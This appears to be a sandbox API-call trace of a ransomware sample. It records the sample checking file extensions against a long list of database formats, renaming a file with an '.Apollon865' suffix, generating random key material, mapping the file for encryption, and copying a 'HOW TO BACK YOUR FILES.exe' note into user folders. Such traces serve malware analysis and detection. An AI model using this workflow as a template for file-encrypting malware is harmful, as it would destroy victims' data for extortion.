	[0047.311] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0047.312] lstrlenW (lpString="db") returned 2
	[0047.312] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0047.312] lstrlenW (lpString="db2") returned 3
	[0047.312] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0047.312] lstrlenW (lpString="db3") returned 3
	[0047.312] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0047.312] lstrlenW (lpString="dbf") returned 3
	[0047.312] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0047.312] lstrlenW (lpString="mdf") returned 3
	[0047.312] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0047.312] lstrlenW (lpString="mdb") returned 3
	[0047.312] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0047.312] lstrlenW (lpString="sql") returned 3
	[0047.312] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0047.312] lstrlenW (lpString="sqlite") returned 6
	[0047.312] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0047.312] lstrlenW (lpString="sqlite3") returned 7
	[0047.312] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0047.312] lstrlenW (lpString="sqlitedb") returned 8
	[0047.312] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0047.312] lstrlenW (lpString="xml") returned 3
	[0047.312] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0047.312] lstrlenW (lpString="$er") returned 3
	[0047.312] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0047.312] lstrlenW (lpString="4dd") returned 3
	[0047.312] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0047.312] lstrlenW (lpString="4dl") returned 3
	[0047.312] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0047.312] lstrlenW (lpString="^^^") returned 3
	[0047.312] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0047.312] lstrlenW (lpString="abs") returned 3
	[0047.312] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0047.312] lstrlenW (lpString="abx") returned 3
	[0047.312] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0047.312] lstrlenW (lpString="accdb") returned 5
	[0047.313] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0047.313] lstrlenW (lpString="accdc") returned 5
	[0047.313] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0047.313] lstrlenW (lpString="accde") returned 5
	[0047.313] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0047.313] lstrlenW (lpString="accdr") returned 5
	[0047.313] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0047.313] lstrlenW (lpString="accdt") returned 5
	[0047.313] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0047.313] lstrlenW (lpString="accdw") returned 5
	[0047.313] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0047.313] lstrlenW (lpString="accft") returned 5
	[0047.313] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0047.313] lstrlenW (lpString="adb") returned 3
	[0047.313] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0047.313] lstrlenW (lpString="adb") returned 3
	[0047.313] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0047.313] lstrlenW (lpString="ade") returned 3
	[0047.313] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0047.313] lstrlenW (lpString="adf") returned 3
	[0047.313] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0047.313] lstrlenW (lpString="adn") returned 3
	[0047.313] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0047.313] lstrlenW (lpString="adp") returned 3
	[0047.313] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0047.313] lstrlenW (lpString="alf") returned 3
	[0047.313] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0047.313] lstrlenW (lpString="ask") returned 3
	[0047.313] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0047.313] lstrlenW (lpString="btr") returned 3
	[0047.313] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0047.313] lstrlenW (lpString="cat") returned 3
	[0047.313] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0047.313] lstrlenW (lpString="cdb") returned 3
	[0047.314] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0047.314] lstrlenW (lpString="ckp") returned 3
	[0047.314] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0047.314] lstrlenW (lpString="cma") returned 3
	[0047.314] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0047.314] lstrlenW (lpString="cpd") returned 3
	[0047.314] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0047.314] lstrlenW (lpString="dacpac") returned 6
	[0047.314] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0047.314] lstrlenW (lpString="dad") returned 3
	[0047.314] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0047.314] lstrlenW (lpString="dadiagrams") returned 10
	[0047.314] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0047.314] lstrlenW (lpString="daschema") returned 8
	[0047.314] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0047.314] lstrlenW (lpString="db-journal") returned 10
	[0047.314] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0047.314] lstrlenW (lpString="db-shm") returned 6
	[0047.314] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0047.314] lstrlenW (lpString="db-wal") returned 6
	[0047.314] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0047.314] lstrlenW (lpString="dbc") returned 3
	[0047.314] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0047.314] lstrlenW (lpString="dbs") returned 3
	[0047.314] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0047.314] lstrlenW (lpString="dbt") returned 3
	[0047.314] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0047.314] lstrlenW (lpString="dbv") returned 3
	[0047.314] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0047.314] lstrlenW (lpString="dbx") returned 3
	[0047.314] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0047.314] lstrlenW (lpString="dcb") returned 3
	[0047.314] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0047.314] lstrlenW (lpString="dct") returned 3
	[0047.315] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0047.315] lstrlenW (lpString="dcx") returned 3
	[0047.315] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0047.315] lstrlenW (lpString="ddl") returned 3
	[0047.315] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0047.315] lstrlenW (lpString="dlis") returned 4
	[0047.315] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0047.315] lstrlenW (lpString="dp1") returned 3
	[0047.315] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0047.315] lstrlenW (lpString="dqy") returned 3
	[0047.315] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0047.315] lstrlenW (lpString="dsk") returned 3
	[0047.315] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0047.315] lstrlenW (lpString="dsn") returned 3
	[0047.315] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0047.315] lstrlenW (lpString="dtsx") returned 4
	[0047.315] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0047.315] lstrlenW (lpString="dxl") returned 3
	[0047.315] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0047.315] lstrlenW (lpString="eco") returned 3
	[0047.315] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0047.315] lstrlenW (lpString="ecx") returned 3
	[0047.315] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0047.315] lstrlenW (lpString="edb") returned 3
	[0047.315] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0047.315] lstrlenW (lpString="epim") returned 4
	[0047.315] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0047.315] lstrlenW (lpString="fcd") returned 3
	[0047.315] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0047.315] lstrlenW (lpString="fdb") returned 3
	[0047.315] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0047.315] lstrlenW (lpString="fic") returned 3
	[0047.315] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0047.315] lstrlenW (lpString="flexolibrary") returned 12
	[0047.315] lstrlenW (lpString="fm5") returned 3
	[0047.315] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0047.316] lstrlenW (lpString="fmp") returned 3
	[0047.316] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0047.316] lstrlenW (lpString="fmp12") returned 5
	[0047.316] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0047.316] lstrlenW (lpString="fmpsl") returned 5
	[0047.316] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0047.316] lstrlenW (lpString="fol") returned 3
	[0047.316] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0047.316] lstrlenW (lpString="fp3") returned 3
	[0047.316] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0047.316] lstrlenW (lpString="fp4") returned 3
	[0047.316] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0047.316] lstrlenW (lpString="fp5") returned 3
	[0047.316] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0047.316] lstrlenW (lpString="fp7") returned 3
	[0047.316] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0047.316] lstrlenW (lpString="fpt") returned 3
	[0047.316] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0047.316] lstrlenW (lpString="frm") returned 3
	[0047.316] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0047.316] lstrlenW (lpString="gdb") returned 3
	[0047.316] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0047.316] lstrlenW (lpString="gdb") returned 3
	[0047.316] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0047.316] lstrlenW (lpString="grdb") returned 4
	[0047.316] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0047.316] lstrlenW (lpString="gwi") returned 3
	[0047.316] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0047.316] lstrlenW (lpString="hdb") returned 3
	[0047.316] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0047.316] lstrlenW (lpString="his") returned 3
	[0047.317] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0047.317] lstrlenW (lpString="ib") returned 2
	[0047.317] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0047.317] lstrlenW (lpString="idb") returned 3
	[0047.317] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0047.317] lstrlenW (lpString="ihx") returned 3
	[0047.317] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0047.317] lstrlenW (lpString="itdb") returned 4
	[0047.317] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0047.317] lstrlenW (lpString="itw") returned 3
	[0047.317] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0047.317] lstrlenW (lpString="jet") returned 3
	[0047.317] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0047.317] lstrlenW (lpString="jtx") returned 3
	[0047.317] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0047.317] lstrlenW (lpString="kdb") returned 3
	[0047.317] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0047.317] lstrlenW (lpString="kexi") returned 4
	[0047.317] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0047.317] lstrlenW (lpString="kexic") returned 5
	[0047.317] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0047.317] lstrlenW (lpString="kexis") returned 5
	[0047.317] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0047.317] lstrlenW (lpString="lgc") returned 3
	[0047.317] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0047.317] lstrlenW (lpString="lwx") returned 3
	[0047.317] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0047.317] lstrlenW (lpString="maf") returned 3
	[0047.317] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0047.317] lstrlenW (lpString="maq") returned 3
	[0047.317] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0047.317] lstrlenW (lpString="mar") returned 3
	[0047.317] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0047.317] lstrlenW (lpString="marshal") returned 7
	[0047.317] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0047.318] lstrlenW (lpString="mas") returned 3
	[0047.318] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0047.318] lstrlenW (lpString="mav") returned 3
	[0047.318] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0047.318] lstrlenW (lpString="maw") returned 3
	[0047.318] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0047.318] lstrlenW (lpString="mdbhtml") returned 7
	[0047.318] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0047.318] lstrlenW (lpString="mdn") returned 3
	[0047.318] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0047.318] lstrlenW (lpString="mdt") returned 3
	[0047.318] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0047.318] lstrlenW (lpString="mfd") returned 3
	[0047.318] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0047.318] lstrlenW (lpString="mpd") returned 3
	[0047.318] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0047.318] lstrlenW (lpString="mrg") returned 3
	[0047.318] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0047.318] lstrlenW (lpString="mud") returned 3
	[0047.318] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0047.318] lstrlenW (lpString="mwb") returned 3
	[0047.318] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0047.318] lstrlenW (lpString="myd") returned 3
	[0047.318] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0047.318] lstrlenW (lpString="ndf") returned 3
	[0047.318] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0047.318] lstrlenW (lpString="nnt") returned 3
	[0047.318] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0047.318] lstrlenW (lpString="nrmlib") returned 6
	[0047.318] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0047.318] lstrlenW (lpString="ns2") returned 3
	[0047.318] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0047.318] lstrlenW (lpString="ns3") returned 3
	[0047.318] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0047.319] lstrlenW (lpString="ns4") returned 3
	[0047.319] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0047.319] lstrlenW (lpString="nsf") returned 3
	[0047.319] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0047.319] lstrlenW (lpString="nv") returned 2
	[0047.319] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0047.319] lstrlenW (lpString="nv2") returned 3
	[0047.319] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0047.319] lstrlenW (lpString="nwdb") returned 4
	[0047.319] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0047.319] lstrlenW (lpString="nyf") returned 3
	[0047.319] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0047.319] lstrlenW (lpString="odb") returned 3
	[0047.319] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0047.319] lstrlenW (lpString="odb") returned 3
	[0047.319] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0047.319] lstrlenW (lpString="oqy") returned 3
	[0047.319] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0047.319] lstrlenW (lpString="ora") returned 3
	[0047.319] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0047.319] lstrlenW (lpString="orx") returned 3
	[0047.319] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0047.319] lstrlenW (lpString="owc") returned 3
	[0047.319] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0047.319] lstrlenW (lpString="p96") returned 3
	[0047.319] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0047.319] lstrlenW (lpString="p97") returned 3
	[0047.319] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0047.319] lstrlenW (lpString="pan") returned 3
	[0047.319] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0047.319] lstrlenW (lpString="pdb") returned 3
	[0047.319] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0047.319] lstrlenW (lpString="pdm") returned 3
	[0047.319] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0047.319] lstrlenW (lpString="pnz") returned 3
	[0047.319] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0047.320] lstrlenW (lpString="qry") returned 3
	[0047.320] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0047.320] lstrlenW (lpString="qvd") returned 3
	[0047.320] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0047.320] lstrlenW (lpString="rbf") returned 3
	[0047.320] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0047.320] lstrlenW (lpString="rctd") returned 4
	[0047.320] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0047.320] lstrlenW (lpString="rod") returned 3
	[0047.320] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0047.320] lstrlenW (lpString="rodx") returned 4
	[0047.320] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0047.320] lstrlenW (lpString="rpd") returned 3
	[0047.320] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0047.320] lstrlenW (lpString="rsd") returned 3
	[0047.320] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0047.320] lstrlenW (lpString="sas7bdat") returned 8
	[0047.320] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0047.320] lstrlenW (lpString="sbf") returned 3
	[0047.320] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0047.320] lstrlenW (lpString="scx") returned 3
	[0047.320] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0047.320] lstrlenW (lpString="sdb") returned 3
	[0047.320] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0047.320] lstrlenW (lpString="sdc") returned 3
	[0047.320] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0047.320] lstrlenW (lpString="sdf") returned 3
	[0047.320] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0047.320] lstrlenW (lpString="sis") returned 3
	[0047.320] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0047.320] lstrlenW (lpString="spq") returned 3
	[0047.320] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0047.320] lstrlenW (lpString="te") returned 2
	[0047.320] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0047.320] lstrlenW (lpString="teacher") returned 7
	[0047.321] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0047.321] lstrlenW (lpString="tmd") returned 3
	[0047.321] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0047.321] lstrlenW (lpString="tps") returned 3
	[0047.321] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0047.321] lstrlenW (lpString="trc") returned 3
	[0047.321] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0047.321] lstrlenW (lpString="trc") returned 3
	[0047.321] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0047.321] lstrlenW (lpString="trm") returned 3
	[0047.321] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0047.321] lstrlenW (lpString="udb") returned 3
	[0047.321] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0047.321] lstrlenW (lpString="udl") returned 3
	[0047.321] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0047.321] lstrlenW (lpString="usr") returned 3
	[0047.321] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0047.321] lstrlenW (lpString="v12") returned 3
	[0047.321] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0047.321] lstrlenW (lpString="vis") returned 3
	[0047.321] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0047.321] lstrlenW (lpString="vpd") returned 3
	[0047.321] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0047.321] lstrlenW (lpString="vvv") returned 3
	[0047.321] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0047.321] lstrlenW (lpString="wdb") returned 3
	[0047.321] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0047.321] lstrlenW (lpString="wmdb") returned 4
	[0047.321] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0047.321] lstrlenW (lpString="wrk") returned 3
	[0047.321] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0047.321] lstrlenW (lpString="xdb") returned 3
	[0047.321] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0047.321] lstrlenW (lpString="xld") returned 3
	[0047.322] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0047.322] lstrlenW (lpString="xmlff") returned 5
	[0047.322] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0047.322] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Videos\\desktop.ini.Apollon865") returned 46
	[0047.322] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Videos\\desktop.ini" (normalized: "c:\\users\\default\\videos\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Videos\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\videos\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0047.322] CreateFileW (lpFileName="C:\\Users\\Default\\Videos\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\videos\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0047.322] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=504) returned 1
	[0047.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0047.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0047.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0047.323] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf568) returned 1
	[0047.323] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0047.323] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0047.324] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x500, lpName=0x0) returned 0x150
	[0047.328] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x500) returned 0x100000
	[0047.333] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf568) returned 1
	[0047.334] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0047.334] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0047.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0047.334] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0047.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0047.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0047.334] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0047.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0047.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5ac760
	[0047.335] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0047.335] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ac760 | out: hHeap=0x580000) returned 1
	[0047.335] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0047.335] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0047.335] CloseHandle (hObject=0x150) returned 1
	[0047.335] CloseHandle (hObject=0x15c) returned 1
	[0047.335] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0047.335] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0047.335] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0047.335] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de1ec50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2de1ec50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0047.335] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0047.335] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de1ec50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2de1ec50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0047.335] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0047.335] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fe30
	[0047.335] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Templates", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates"
	[0047.335] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca2d0 | out: hHeap=0x580000) returned 1
	[0047.335] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe28 | out: hHeap=0x580000) returned 1
	[0047.335] lstrlenW (lpString="C:\\Users\\Default\\Templates") returned 26
	[0047.336] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates"
	[0047.336] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.336] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0
